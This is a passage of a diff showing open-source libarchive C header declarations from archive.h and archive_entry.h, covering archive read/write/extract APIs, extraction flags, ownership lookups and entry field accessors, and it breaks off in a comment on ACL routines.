#define ARCHIVE_EXTRACT_SECURE_NODOTDOT (0x0200)
|
||||
/* Default: Create parent directories as needed. */
|
||||
#define ARCHIVE_EXTRACT_NO_AUTODIR (0x0400)
|
||||
/* Default: Overwrite files, even if one on disk is newer. */
|
||||
#define ARCHIVE_EXTRACT_NO_OVERWRITE_NEWER (0x0800)
|
||||
/* Detect blocks of 0 and write holes instead. */
|
||||
#define ARCHIVE_EXTRACT_SPARSE (0x1000)
|
||||
|
||||
__LA_DECL int archive_read_extract(struct archive *, struct archive_entry *,
|
||||
int flags);
|
||||
__LA_DECL int archive_read_extract2(struct archive *, struct archive_entry *,
|
||||
struct archive * /* dest */);
|
||||
__LA_DECL void archive_read_extract_set_progress_callback(struct archive *,
|
||||
void (*_progress_func)(void *), void *_user_data);
|
||||
|
||||
/* Record the dev/ino of a file that will not be written. This is
|
||||
* generally set to the dev/ino of the archive being read. */
|
||||
__LA_DECL void archive_read_extract_set_skip_file(struct archive *,
|
||||
dev_t, ino_t);
|
||||
|
||||
/* Close the file and release most resources. */
|
||||
__LA_DECL int archive_read_close(struct archive *);
|
||||
/* Release all resources and destroy the object. */
|
||||
/* Note that archive_read_finish will call archive_read_close for you. */
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* Erroneously declared to return void in libarchive 1.x */
|
||||
__LA_DECL void archive_read_finish(struct archive *);
|
||||
#else
|
||||
__LA_DECL int archive_read_finish(struct archive *);
|
||||
#endif
|
||||
|
||||
/*-
|
||||
* To create an archive:
|
||||
* 1) Ask archive_write_new for a archive writer object.
|
||||
* 2) Set any global properties. In particular, you should set
|
||||
* the compression and format to use.
|
||||
* 3) Call archive_write_open to open the file (most people
|
||||
* will use archive_write_open_file or archive_write_open_fd,
|
||||
* which provide convenient canned I/O callbacks for you).
|
||||
* 4) For each entry:
|
||||
* - construct an appropriate struct archive_entry structure
|
||||
* - archive_write_header to write the header
|
||||
* - archive_write_data to write the entry data
|
||||
* 5) archive_write_close to close the output
|
||||
* 6) archive_write_finish to cleanup the writer and release resources
|
||||
*/
|
||||
__LA_DECL struct archive *archive_write_new(void);
|
||||
__LA_DECL int archive_write_set_bytes_per_block(struct archive *,
|
||||
int bytes_per_block);
|
||||
__LA_DECL int archive_write_get_bytes_per_block(struct archive *);
|
||||
/* XXX This is badly misnamed; suggestions appreciated. XXX */
|
||||
__LA_DECL int archive_write_set_bytes_in_last_block(struct archive *,
|
||||
int bytes_in_last_block);
|
||||
__LA_DECL int archive_write_get_bytes_in_last_block(struct archive *);
|
||||
|
||||
/* The dev/ino of a file that won't be archived. This is used
|
||||
* to avoid recursively adding an archive to itself. */
|
||||
__LA_DECL int archive_write_set_skip_file(struct archive *, dev_t, ino_t);
|
||||
|
||||
__LA_DECL int archive_write_set_compression_bzip2(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_compress(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_gzip(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_lzma(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_none(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_program(struct archive *,
|
||||
const char *cmd);
|
||||
__LA_DECL int archive_write_set_compression_xz(struct archive *);
|
||||
/* A convenience function to set the format based on the code or name. */
|
||||
__LA_DECL int archive_write_set_format(struct archive *, int format_code);
|
||||
__LA_DECL int archive_write_set_format_by_name(struct archive *,
|
||||
const char *name);
|
||||
/* To minimize link pollution, use one or more of the following. */
|
||||
__LA_DECL int archive_write_set_format_ar_bsd(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_ar_svr4(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_cpio(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_cpio_newc(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_mtree(struct archive *);
|
||||
/* TODO: int archive_write_set_format_old_tar(struct archive *); */
|
||||
__LA_DECL int archive_write_set_format_pax(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_pax_restricted(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_shar(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_shar_dump(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_ustar(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_zip(struct archive *);
|
||||
__LA_DECL int archive_write_open(struct archive *, void *,
|
||||
archive_open_callback *, archive_write_callback *,
|
||||
archive_close_callback *);
|
||||
__LA_DECL int archive_write_open_fd(struct archive *, int _fd);
|
||||
__LA_DECL int archive_write_open_filename(struct archive *, const char *_file);
|
||||
/* A deprecated synonym for archive_write_open_filename() */
|
||||
__LA_DECL int archive_write_open_file(struct archive *, const char *_file);
|
||||
__LA_DECL int archive_write_open_FILE(struct archive *, FILE *);
|
||||
/* _buffSize is the size of the buffer, _used refers to a variable that
|
||||
* will be updated after each write into the buffer. */
|
||||
__LA_DECL int archive_write_open_memory(struct archive *,
|
||||
void *_buffer, size_t _buffSize, size_t *_used);
|
||||
|
||||
/*
|
||||
* Note that the library will truncate writes beyond the size provided
|
||||
* to archive_write_header or pad if the provided data is short.
|
||||
*/
|
||||
__LA_DECL int archive_write_header(struct archive *,
|
||||
struct archive_entry *);
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* This was erroneously declared to return "int" in libarchive 1.x. */
|
||||
__LA_DECL int archive_write_data(struct archive *,
|
||||
const void *, size_t);
|
||||
#else
|
||||
/* Libarchive 2.0 and later return ssize_t here. */
|
||||
__LA_DECL __LA_SSIZE_T archive_write_data(struct archive *,
|
||||
const void *, size_t);
|
||||
#endif
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* Libarchive 1.x and 2.x use off_t for the argument, but that's not
|
||||
* stable on Linux. */
|
||||
__LA_DECL __LA_SSIZE_T archive_write_data_block(struct archive *,
|
||||
const void *, size_t, off_t);
|
||||
#else
|
||||
/* Libarchive 3.0 uses explicit int64_t to ensure consistent 64-bit support. */
|
||||
__LA_DECL __LA_SSIZE_T archive_write_data_block(struct archive *,
|
||||
const void *, size_t, __LA_INT64_T);
|
||||
#endif
|
||||
__LA_DECL int archive_write_finish_entry(struct archive *);
|
||||
__LA_DECL int archive_write_close(struct archive *);
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* Return value was incorrect in libarchive 1.x. */
|
||||
__LA_DECL void archive_write_finish(struct archive *);
|
||||
#else
|
||||
/* Libarchive 2.x and later returns an error if this fails. */
|
||||
/* It can fail if the archive wasn't already closed, in which case
|
||||
* archive_write_finish() will implicitly call archive_write_close(). */
|
||||
__LA_DECL int archive_write_finish(struct archive *);
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Set write options.
|
||||
*/
|
||||
/* Apply option string to the format only. */
|
||||
__LA_DECL int archive_write_set_format_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to the compressor only. */
|
||||
__LA_DECL int archive_write_set_compressor_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to both the format and the compressor. */
|
||||
__LA_DECL int archive_write_set_options(struct archive *_a,
|
||||
const char *s);
|
||||
|
||||
|
||||
/*-
|
||||
* ARCHIVE_WRITE_DISK API
|
||||
*
|
||||
* To create objects on disk:
|
||||
* 1) Ask archive_write_disk_new for a new archive_write_disk object.
|
||||
* 2) Set any global properties. In particular, you probably
|
||||
* want to set the options.
|
||||
* 3) For each entry:
|
||||
* - construct an appropriate struct archive_entry structure
|
||||
* - archive_write_header to create the file/dir/etc on disk
|
||||
* - archive_write_data to write the entry data
|
||||
* 4) archive_write_finish to cleanup the writer and release resources
|
||||
*
|
||||
* In particular, you can use this in conjunction with archive_read()
|
||||
* to pull entries out of an archive and create them on disk.
|
||||
*/
|
||||
__LA_DECL struct archive *archive_write_disk_new(void);
|
||||
/* This file will not be overwritten. */
|
||||
__LA_DECL int archive_write_disk_set_skip_file(struct archive *,
|
||||
dev_t, ino_t);
|
||||
/* Set flags to control how the next item gets created.
|
||||
* This accepts a bitmask of ARCHIVE_EXTRACT_XXX flags defined above. */
|
||||
__LA_DECL int archive_write_disk_set_options(struct archive *,
|
||||
int flags);
|
||||
/*
|
||||
* The lookup functions are given uname/uid (or gname/gid) pairs and
|
||||
* return a uid (gid) suitable for this system. These are used for
|
||||
* restoring ownership and for setting ACLs. The default functions
|
||||
* are naive, they just return the uid/gid. These are small, so reasonable
|
||||
* for applications that don't need to preserve ownership; they
|
||||
* are probably also appropriate for applications that are doing
|
||||
* same-system backup and restore.
|
||||
*/
|
||||
/*
|
||||
* The "standard" lookup functions use common system calls to lookup
|
||||
* the uname/gname, falling back to the uid/gid if the names can't be
|
||||
* found. They cache lookups and are reasonably fast, but can be very
|
||||
* large, so they are not used unless you ask for them. In
|
||||
* particular, these match the specifications of POSIX "pax" and old
|
||||
* POSIX "tar".
|
||||
*/
|
||||
__LA_DECL int archive_write_disk_set_standard_lookup(struct archive *);
|
||||
/*
|
||||
* If neither the default (naive) nor the standard (big) functions suit
|
||||
* your needs, you can write your own and register them. Be sure to
|
||||
* include a cleanup function if you have allocated private data.
|
||||
*/
|
||||
__LA_DECL int archive_write_disk_set_group_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
__LA_GID_T (*)(void *, const char *, __LA_GID_T),
|
||||
void (* /* cleanup */)(void *));
|
||||
__LA_DECL int archive_write_disk_set_user_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
__LA_UID_T (*)(void *, const char *, __LA_UID_T),
|
||||
void (* /* cleanup */)(void *));
|
||||
|
||||
/*
|
||||
* ARCHIVE_READ_DISK API
|
||||
*
|
||||
* This is still evolving and somewhat experimental.
|
||||
*/
|
||||
__LA_DECL struct archive *archive_read_disk_new(void);
|
||||
/* The names for symlink modes here correspond to an old BSD
|
||||
* command-line argument convention: -L, -P, -H */
|
||||
/* Follow all symlinks. */
|
||||
__LA_DECL int archive_read_disk_set_symlink_logical(struct archive *);
|
||||
/* Follow no symlinks. */
|
||||
__LA_DECL int archive_read_disk_set_symlink_physical(struct archive *);
|
||||
/* Follow symlink initially, then not. */
|
||||
__LA_DECL int archive_read_disk_set_symlink_hybrid(struct archive *);
|
||||
/* TODO: Handle Linux stat32/stat64 ugliness. <sigh> */
|
||||
__LA_DECL int archive_read_disk_entry_from_file(struct archive *,
|
||||
struct archive_entry *, int /* fd */, const struct stat *);
|
||||
/* Look up gname for gid or uname for uid. */
|
||||
/* Default implementations are very, very stupid. */
|
||||
__LA_DECL const char *archive_read_disk_gname(struct archive *, __LA_GID_T);
|
||||
__LA_DECL const char *archive_read_disk_uname(struct archive *, __LA_UID_T);
|
||||
/* "Standard" implementation uses getpwuid_r, getgrgid_r and caches the
|
||||
* results for performance. */
|
||||
__LA_DECL int archive_read_disk_set_standard_lookup(struct archive *);
|
||||
/* You can install your own lookups if you like. */
|
||||
__LA_DECL int archive_read_disk_set_gname_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
const char *(* /* lookup_fn */)(void *, __LA_GID_T),
|
||||
void (* /* cleanup_fn */)(void *));
|
||||
__LA_DECL int archive_read_disk_set_uname_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
const char *(* /* lookup_fn */)(void *, __LA_UID_T),
|
||||
void (* /* cleanup_fn */)(void *));
|
||||
|
||||
/*
|
||||
* Accessor functions to read/set various information in
|
||||
* the struct archive object:
|
||||
*/
|
||||
/* Bytes written after compression or read before decompression. */
|
||||
__LA_DECL __LA_INT64_T archive_position_compressed(struct archive *);
|
||||
/* Bytes written to compressor or read from decompressor. */
|
||||
__LA_DECL __LA_INT64_T archive_position_uncompressed(struct archive *);
|
||||
|
||||
__LA_DECL const char *archive_compression_name(struct archive *);
|
||||
__LA_DECL int archive_compression(struct archive *);
|
||||
__LA_DECL int archive_errno(struct archive *);
|
||||
__LA_DECL const char *archive_error_string(struct archive *);
|
||||
__LA_DECL const char *archive_format_name(struct archive *);
|
||||
__LA_DECL int archive_format(struct archive *);
|
||||
__LA_DECL void archive_clear_error(struct archive *);
|
||||
__LA_DECL void archive_set_error(struct archive *, int _err,
|
||||
const char *fmt, ...);
|
||||
__LA_DECL void archive_copy_error(struct archive *dest,
|
||||
struct archive *src);
|
||||
__LA_DECL int archive_file_count(struct archive *);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/* These are meaningless outside of this header. */
|
||||
#undef __LA_DECL
|
||||
#undef __LA_GID_T
|
||||
#undef __LA_UID_T
|
||||
|
||||
/* These need to remain defined because they're used in the
|
||||
* callback type definitions. XXX Fix this. This is ugly. XXX */
|
||||
/* #undef __LA_INT64_T */
|
||||
/* #undef __LA_SSIZE_T */
|
||||
|
||||
#endif /* !ARCHIVE_H_INCLUDED */
|
||||
@@ -0,0 +1,524 @@
|
||||
/*-
|
||||
* Copyright (c) 2003-2008 Tim Kientzle
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $
|
||||
*/
|
||||
|
||||
#ifndef ARCHIVE_ENTRY_H_INCLUDED
|
||||
#define ARCHIVE_ENTRY_H_INCLUDED
|
||||
|
||||
/*
|
||||
* Note: archive_entry.h is for use outside of libarchive; the
|
||||
* configuration headers (config.h, archive_platform.h, etc.) are
|
||||
* purely internal. Do NOT use HAVE_XXX configuration macros to
|
||||
* control the behavior of this header! If you must conditionalize,
|
||||
* use predefined compiler and/or platform macros.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stddef.h> /* for wchar_t */
|
||||
#include <time.h>
|
||||
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
/* Get appropriate definitions of standard POSIX-style types. */
|
||||
/* These should match the types used in 'struct stat' */
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
#define __LA_INT64_T __int64
|
||||
# if defined(__BORLANDC__)
|
||||
# define __LA_UID_T uid_t
|
||||
# define __LA_GID_T gid_t
|
||||
# define __LA_DEV_T dev_t
|
||||
# define __LA_MODE_T mode_t
|
||||
# else
|
||||
# define __LA_UID_T short
|
||||
# define __LA_GID_T short
|
||||
# define __LA_DEV_T unsigned int
|
||||
# define __LA_MODE_T unsigned short
|
||||
# endif
|
||||
#else
|
||||
#include <unistd.h>
|
||||
#define __LA_INT64_T int64_t
|
||||
#define __LA_UID_T uid_t
|
||||
#define __LA_GID_T gid_t
|
||||
#define __LA_DEV_T dev_t
|
||||
#define __LA_MODE_T mode_t
|
||||
#endif
|
||||
|
||||
/*
|
||||
* XXX Is this defined for all Windows compilers? If so, in what
|
||||
* header? It would be nice to remove the __LA_INO_T indirection and
|
||||
* just use plain ino_t everywhere. Likewise for the other types just
|
||||
* above.
|
||||
*/
|
||||
#define __LA_INO_T ino_t
|
||||
|
||||
|
||||
/*
|
||||
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
|
||||
* .lib. The default here assumes you're building a DLL. Only
|
||||
* libarchive source should ever define __LIBARCHIVE_BUILD.
|
||||
*/
|
||||
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
|
||||
# ifdef __LIBARCHIVE_BUILD
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllexport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllexport)
|
||||
# endif
|
||||
# else
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllimport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
#else
|
||||
/* Static libraries on all platforms and shared libraries on non-Windows. */
|
||||
# define __LA_DECL
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Description of an archive entry.
|
||||
*
|
||||
* You can think of this as "struct stat" with some text fields added in.
|
||||
*
|
||||
* TODO: Add "comment", "charset", and possibly other entries that are
|
||||
* supported by "pax interchange" format. However, GNU, ustar, cpio,
|
||||
* and other variants don't support these features, so they're not an
|
||||
* excruciatingly high priority right now.
|
||||
*
|
||||
* TODO: "pax interchange" format allows essentially arbitrary
|
||||
* key/value attributes to be attached to any entry. Supporting
|
||||
* such extensions may make this library useful for special
|
||||
* applications (e.g., a package manager could attach special
|
||||
* package-management attributes to each entry).
|
||||
*/
|
||||
struct archive_entry;
|
||||
|
||||
/*
|
||||
* File-type constants. These are returned from archive_entry_filetype()
|
||||
* and passed to archive_entry_set_filetype().
|
||||
*
|
||||
* These values match S_XXX defines on every platform I've checked,
|
||||
* including Windows, AIX, Linux, Solaris, and BSD. They're
|
||||
* (re)defined here because platforms generally don't define the ones
|
||||
* they don't support. For example, Windows doesn't define S_IFLNK or
|
||||
* S_IFBLK. Instead of having a mass of conditional logic and system
|
||||
* checks to define any S_XXX values that aren't supported locally,
|
||||
* I've just defined a new set of such constants so that
|
||||
* libarchive-based applications can manipulate and identify archive
|
||||
* entries properly even if the hosting platform can't store them on
|
||||
* disk.
|
||||
*
|
||||
* These values are also used directly within some portable formats,
|
||||
* such as cpio. If you find a platform that varies from these, the
|
||||
* correct solution is to leave these alone and translate from these
|
||||
* portable values to platform-native values when entries are read from
|
||||
* or written to disk.
|
||||
*/
|
||||
#define AE_IFMT 0170000
|
||||
#define AE_IFREG 0100000
|
||||
#define AE_IFLNK 0120000
|
||||
#define AE_IFSOCK 0140000
|
||||
#define AE_IFCHR 0020000
|
||||
#define AE_IFBLK 0060000
|
||||
#define AE_IFDIR 0040000
|
||||
#define AE_IFIFO 0010000
|
||||
|
||||
/*
|
||||
* Basic object manipulation
|
||||
*/
|
||||
|
||||
__LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *);
|
||||
/* The 'clone' function does a deep copy; all of the strings are copied too. */
|
||||
__LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_free(struct archive_entry *);
|
||||
__LA_DECL struct archive_entry *archive_entry_new(void);
|
||||
|
||||
/*
|
||||
* Retrieve fields from an archive_entry.
|
||||
*
|
||||
* There are a number of implicit conversions among these fields. For
|
||||
* example, if a regular string field is set and you read the _w wide
|
||||
* character field, the entry will implicitly convert narrow-to-wide
|
||||
* using the current locale. Similarly, dev values are automatically
|
||||
* updated when you write devmajor or devminor and vice versa.
|
||||
*
|
||||
* In addition, fields can be "set" or "unset." Unset string fields
|
||||
* return NULL, non-string fields have _is_set() functions to test
|
||||
* whether they've been set. You can "unset" a string field by
|
||||
* assigning NULL; non-string fields have _unset() functions to
|
||||
* unset them.
|
||||
*
|
||||
* Note: There is one ambiguity in the above; string fields will
|
||||
* also return NULL when implicit character set conversions fail.
|
||||
* This is usually what you want.
|
||||
*/
|
||||
__LA_DECL time_t archive_entry_atime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_atime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_atime_is_set(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_birthtime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_ctime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_ctime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_ctime_is_set(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_dev(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_devmajor(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_devminor(struct archive_entry *);
|
||||
__LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_fflags(struct archive_entry *,
|
||||
unsigned long * /* set */,
|
||||
unsigned long * /* clear */);
|
||||
__LA_DECL const char *archive_entry_fflags_text(struct archive_entry *);
|
||||
__LA_DECL __LA_GID_T archive_entry_gid(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_gname(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_hardlink(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *);
|
||||
__LA_DECL __LA_INO_T archive_entry_ino(struct archive_entry *);
|
||||
__LA_DECL __LA_INT64_T archive_entry_ino64(struct archive_entry *);
|
||||
__LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_mtime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_mtime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_mtime_is_set(struct archive_entry *);
|
||||
__LA_DECL unsigned int archive_entry_nlink(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_pathname(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdev(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_sourcepath(struct archive_entry *);
|
||||
__LA_DECL __LA_INT64_T archive_entry_size(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_size_is_set(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_strmode(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_symlink(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *);
|
||||
__LA_DECL __LA_UID_T archive_entry_uid(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_uname(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *);
|
||||
|
||||
/*
|
||||
* Set fields in an archive_entry.
|
||||
*
|
||||
* Note that string 'set' functions do not copy the string, only the pointer.
|
||||
* In contrast, 'copy' functions do copy the object pointed to.
|
||||
*
|
||||
* Note: As of libarchive 2.4, 'set' functions do copy the string and
|
||||
* are therefore exact synonyms for the 'copy' versions. The 'copy'
|
||||
* names will be retired in libarchive 3.0.
|
||||
*/
|
||||
|
||||
__LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_atime(struct archive_entry *);
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
__LA_DECL void archive_entry_copy_bhfi(struct archive_entry *,
|
||||
BY_HANDLE_FILE_INFORMATION *);
|
||||
#endif
|
||||
__LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_birthtime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_ctime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_ctime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int);
|
||||
__LA_DECL void archive_entry_set_fflags(struct archive_entry *,
|
||||
unsigned long /* set */, unsigned long /* clear */);
|
||||
/* Returns pointer to start of first invalid token, or NULL if none. */
|
||||
/* Note that all recognized tokens are processed, regardless. */
|
||||
__LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *,
|
||||
const char *);
|
||||
__LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *,
|
||||
const wchar_t *);
|
||||
__LA_DECL void archive_entry_set_gid(struct archive_entry *, __LA_GID_T);
|
||||
__LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *);
|
||||
#if ARCHIVE_VERSION_NUMBER >= 3000000
|
||||
/* Starting with libarchive 3.0, this will be synonym for ino64. */
|
||||
__LA_DECL void archive_entry_set_ino(struct archive_entry *, __LA_INT64_T);
|
||||
#else
|
||||
__LA_DECL void archive_entry_set_ino(struct archive_entry *, unsigned long);
|
||||
#endif
|
||||
__LA_DECL void archive_entry_set_ino64(struct archive_entry *, __LA_INT64_T);
|
||||
__LA_DECL void archive_entry_set_link(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T);
|
||||
__LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_mtime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int);
|
||||
__LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T);
|
||||
__LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_size(struct archive_entry *, __LA_INT64_T);
|
||||
__LA_DECL void archive_entry_unset_size(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_uid(struct archive_entry *, __LA_UID_T);
|
||||
__LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *);
|
||||
/*
|
||||
* Routines to bulk copy fields to/from a platform-native "struct
|
||||
* stat." Libarchive used to just store a struct stat inside of each
|
||||
* archive_entry object, but this created issues when trying to
|
||||
* manipulate archives on systems different than the ones they were
|
||||
* created on.
|
||||
*
|
||||
* TODO: On Linux, provide both stat32 and stat64 versions of these functions.
|
||||
*/
|
||||
__LA_DECL const struct stat *archive_entry_stat(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *);
|
||||
|
||||
|
||||
/*
|
||||
* ACL routines. This used to simply store and return text-format ACL
|
||||
* strings, but that proved insufficient for a number of reasons:
|
||||
* = clients need control over uname/uid and gname/gid mappings
|
||||
* = there are many different ACL text formats
|
||||
* = would like to be able to read/convert archives containing ACLs
|
||||
* on platforms that lack ACL libraries
|
||||
*
|
||||
* This last point, in particular, forces me to implement a reasonably
|
||||
* complete set of ACL support routines.
|
||||
*
|
